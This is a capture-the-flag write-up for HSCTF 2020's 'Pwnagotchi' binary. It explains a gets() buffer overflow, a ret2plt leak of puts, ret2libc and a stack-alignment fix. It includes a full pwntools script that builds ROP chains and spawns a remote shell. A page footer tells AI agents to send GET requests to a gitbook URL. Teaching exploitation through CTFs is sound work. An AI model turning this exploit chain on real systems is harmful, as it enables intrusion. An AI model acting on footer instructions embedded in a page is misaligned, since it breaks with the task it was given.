# Pwnagotchi

Lets look into this. Let's first of all disassemble main. We'll notice lots of logic going on, and lots of functions - eat, zzz, etc. We also see some variables - once, sleepy, hungry, etc. These have to do with making your pwnagotchi happy. Is this important? No, not at all.

The main thing is that there is a gets call on rbp-0xc. This means that we instantaneously have a buffer overflow vulnerability. 0xc is 12, and 12 + 8 = 20, so we will have 20 bytes until the return address. This is confirmed by pattern.py.

No PIE, NX. My first instinct was ROP, but there wasn't enough gadgets. So I used ret2libc instead.

There's no PIE in the binary, so the GOT and the PLT stay constant. This allows us to execute a simple ret2plt attack, calling puts\@plt on puts\@GOT, and leaking the puts libc address. This libc address can be used to find the libc version of the remote instance, which is libc6\_2.27-3ubuntu1\_amd64. From there, we can call main again, and execute a simple ret2libc attack.

There's two things stopping us here, which I'll review.

First of all: main has some weird logic at the beginning. What actually happens is not important, what you need to know is that it can detect whether you've done weird stuff and called it again. When it detects this, it says "um, this is awkward" and quits. How do we bypass this? Simple. We jump to the specific instruction in main which starts our input, and continue from there.

Second thing: quite subtle. When we execute this attack remotely, everything goes smoothly. However, once we hit the final payload, things stop working. we get an EOF.

It's important to review what's happening. When our remote exploit does not work, the "pwnagotchi name is not happy!" message does NOT show up. What does this mean? It means we likely a hit a problem with the stack. You guessed it, stack alignment.

We can add a simple ret gadget in the middle of our payloads(0x400285) and our exploit succeeds! Script below

My fakestack pointer was a pointer to a random page mapped read-write in memory, so that the program could resume and make local variables like normal.

```python
from pwn import *
NUM_TO_RET = 20
padding = b'A' * NUM_TO_RET
fakestack = 0x601000 + 0x700
e = ELF("./gotchi")
poprdi = 0x00000000004009f3 # pop rdi ; ret
poprsi = 0x00000000004009f1 # pop rsi ; pop r15 ; ret
#p = e.process()
p = remote('pwn.hsctf.com', 5005)
leak = flat(poprdi, e.got['puts'], e.plt['puts'],0x0000000000400285, 0x000000000040090b, word_size=64)
p.sendline(padding[:-8] + p64(fakestack) + leak)
p.recvuntil(b"!\n")
output = p.recv()[:-1] + b'\x00\x00'
puts = u64(output)
log.info(f"Puts address: {hex(puts)}")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/home/kali/Tools/libc-database/libs/libc6_2.27-3ubuntu1_amd64/libc.so.6")
libcbase = puts - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
#final = flat(poprdi, next(libc.search(b"/bin/sh\x00")), poprsi, 0, 0, 0x0000000000001b96, 0, libc.symbols['execve'], word_size=64)
final = flat(poprdi,next(libc.search(b"/bin/sh\x00")),0x0000000000400285, libc.symbols['system'], word_size=64)
p.sendline(padding[:-8] + p64(fakestack) + final)
p.interactive()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://the-winrars.gitbook.io/writeups/2020-writeups/hsctf/binary-exploitation/pwnagotchi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
